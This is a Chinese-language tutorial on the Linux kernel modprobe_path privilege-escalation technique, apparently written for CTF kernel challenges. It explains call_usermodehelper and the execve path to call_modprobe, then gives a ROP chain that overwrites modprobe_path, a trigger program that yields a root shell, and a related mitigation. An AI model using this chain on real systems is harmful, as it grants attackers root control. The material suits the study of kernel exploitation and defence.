call_usermodehelper 是一个大的概念
modprobe 是 call_usermodehelper 利用方式的一种
++++++++++++++++++++++++++++++++++++++++++++++++++
call_usermodehelper = call_user-mode
-helper
modprobe = mod-probe =module
-probe
modprobe_path = mod-probe_path =module
-probe_path
call_usermodehelper api可以在内核空间
调用用户空间的应用程序
,执行用户空间的命令。
在linux-5.9内核中,call_usermodehelper实现如下
/**
* call_usermodehelper() - prepare and start a usermode application
* @path: path to usermode executable
* @argv: arg vector for process
* @envp: environment for process
* @wait: wait for the application to finish and return status.
* when UMH_NO_WAIT don't wait at all, but you get no useful error back
* when the program couldn't be exec'ed. This makes it safe to call
* from interrupt context.
*
* This function is the equivalent to use call_usermodehelper_setup() and
* call_usermodehelper_exec().
*/
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
EXPORT_SYMBOL(call_usermodehelper);
call_usermodehelper_setup
设置要执行的用户空间的程序、环境变量、handler(包含初始化函数init和清理函数cleanup)等信息,相关信息填充到subprocess_info
结构体中call_usermodehelper_exec
执行设置的用户空间程序内核中有很多这样的需求
例子1:实现关机的接口:__orderly_poweroff,该接口的主要作用是:在内核空间,调用用户空间的应用程序“/sbin/poweroff”,达到关机的目的。通过调该接口,可以在内核中实现“长按关机”操作
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static int __orderly_poweroff(bool force)
{
int ret;
ret = run_cmd(poweroff_cmd); // <-------------------------------------------
if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
emergency_sync();
kernel_power_off();
}
return ret;
}
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // <-------------------------------------------
argv_free(argv);
} else {
ret = -ENOMEM;
}
return ret;
}
例子2:与关机类似的重启命令
static const char reboot_cmd[] = "/sbin/reboot";
static int __orderly_reboot(void)
{
int ret;
ret = run_cmd(reboot_cmd); // 内部是对 call_usermodehelper 的封装
if (ret) {
pr_warn("Failed to start orderly reboot: forcing the issue\n");
emergency_sync();
kernel_restart(NULL);
}
return ret;
}
例子3:本章有关-----模块加载命令/sbin/modprobe
,该命令被封装到call_modprobe
函数中
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
static int call_modprobe(char *module_name, int wait)
{
struct subprocess_info *info;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
[..]
argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
[..]
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
[...]
}
在用户态查看/sbin/modprobe
的帮助文档,可以确定该命令是与处理module
有关
showme@showme:linux-5.9$ /sbin/modprobe --help
Usage:
modprobe [options] [-i] [-b] modulename
modprobe [options] -a [-i] [-b] modulename [modulename...]
modprobe [options] -r [-i] modulename
modprobe [options] -r -a [-i] modulename [modulename...]
modprobe [options] -c
modprobe [options] --dump-modversions filename
Management Options:
-a, --all Consider every non-argument to
be a module name to be inserted
or removed (-r)
-r, --remove Remove modules instead of inserting
--remove-dependencies Also remove modules depending on it
[...]
在内核中将/sbin/modprobe
字符串存储在全局变量modprobe_path
中,在call_modprobe
函数中使用
同时在内核代码中,call_modprobe
仅被封装在kernel/kmod.c/__request_module()
函数中
且又进行了一层封装
int __request_module(bool wait, const char *name, ...);
#define request_module(mod...) __request_module(true, mod)
#define request_module_nowait(mod...) __request_module(false, mod)
大体浏览内核中的相关代码,可以看出request_module
是用来操作模块的
drivers/crypto/qat/qat_c3xxxvf/adf_drv.c:
234 {
235: request_module("intel_qat");
236
sound/core/sound.c:
59 return;
60: request_module("snd-card-%i", card);
61 }
drivers/parport/share.c:
213 */
214: request_module("parport_lowlevel");
215 }
当通过execve执行一个二进制文件时,且内核法识别二进制文件的魔术字,就会调用call_modprobe加载可以处理该特殊二进制的模块。
execve中与call_modprobe相关的分支流程图
│
▼
┌──────┐ filename, argv, envp ┌─────────┐
│execve├─────────────────────────────────────────────►│do_execve│
└──────┘ └────┬────┘
│
fd, filename, argv, envp, flags │
┌────────────────────────────────────────────────────────┘
▼
┌──────────────────┐ bprm, fd, filename, flags ┌───────────┐
│do_execveat_common├───────────────────────────────►│bprm_execve│
└──────────────────┘ └─────┬─────┘
│
bprm │
┌───────────────────────────────────────────────────────┘
▼
┌───────────┐ bprm ┌─────────────────────┐
│exec_binprm├────────────────────────────►│search_binary_handler│
└───────────┘ └───────────┬─────────┘
│
"binfmt-$04x", *(ushort*)(bprm->buf+2) │
┌───────────────────────────────────────────────────┘
▼
┌──────────────┐ true, mod... ┌────────────────┐
│request_module├──────────────────────────────►│__request_module│
└──────────────┘ └───────┬────────┘
│
module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC │
┌────────────────────────────────────────────────────┘
▼
┌─────────────┐
│call_modprobe│
└─┬───────────┘
│
│ info, wait | UMH_KILLABLE
▼
┌────────────────────────┐
│call_usermodehelper_exec│
└────────────────────────┘
大体含义(细节可以参考这里,细节1,细节2):
search_binary_handler
)AABBCCDD
),并尝试加载适当模块binfmt-AABBCCDD
,交由request_module
加载(call_modprobe
->call_usermodehelper_exec
),此时便在内核态执行了/sbin/modprobe
注意:
二进制文件的前 4 个字是可打印字符,才会尝试加载适当的模块/sbin/modprobe
)execve
->search_binary_handler
->request_module
->call_modprobe
->call_usermodehelper_exec
(执行modprobe_path保存路径的提权文件)对于本题,通过modprobe,也算间接的绕过了KPTI
获取modprobe_path的地址,并重写为提权文件的路径,假设这里提权文件路径为/evil
/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe
/ # cat /proc/kallsyms | grep "modprobe_path"
ffffffff82061820 D modprobe_path
pwndbg> x/s 0xffffffff82061820
0xffffffff82061820: "/sbin/modprobe"
pwndbg> x/16gx 0xffffffff82061820
0xffffffff82061820: 0x6f6d2f6e6962732f 0x000065626f727064
rop如下
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rax_ret;
payload[cookie_off++] = 0x6c6976652f; // rax = /evil 这里是字符串硬编码,也可以是/tmp/x 短一点,直接一次寄存器赋值搞定
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = modprobe_path;
payload[cookie_off++] = write_rax_into_rdi_ret; // overwrite modprobe_path
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
在exp执行后,程序段错误,毕竟没有解决KPTI,但是modprobe_path修改了
手动创建
echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl
chmod +x /tmp/fl
或者是下面的代码
#include
#include
#include
#include
int main() {
char *dummy_file = "/tmp/dummy";
puts("[*] creating dummy file");
FILE *fptr = fopen(dummy_file, "w");
if (!fptr) {
puts("[-] failed to open dummy file");
exit(-1);
}
if (fputs("\x37\x13\x42\x42", fptr) == EOF) {
puts("[-] failed to write dummy file");
exit(-1);
}
fclose(fptr);
system("chmod 777 /tmp/dummy");
puts("[*] triggering modprobe by executing dummy file");
execv(dummy_file, NULL);
puts("[+] now run /tmp/evilsu to get root shell");
return 0;
}
触发execve
->search_binary_handler
->request_module
->call_modprobe
->call_usermodehelper_exec
(执行modprobe_path保存路径的提权文件)
在核心转储开启的时候有用
通过程序崩溃触发,一般通过下面内容触发
int main() {
char *p = 0;
*p = 1;
return 0;
}
CONFIG_STATIC_USERMODEHELPER被设置为 true迫使用户模式辅助程序通过单一的二进制文件调用,并且 CONFIG_STATIC_USERMODEHELPER_PATH 被设置为空字符串,即没有 modprobe_path 技巧。
https://0x9k.club/posts/uncategorized/2018-05-02-new_reliable_android_kernel_root_exploit.html
https://sam4k.com/like-techniques-modprobe_path/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
https://github.com/tych0/huldufolk
https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md
其他用到modprobe的题目
https://www.anquanke.com/post/id/236126#h2-1
https://www.jianshu.com/p/a2259cd3e79e
【linux内核漏洞利用】call_usermodehelper提权路径变量总结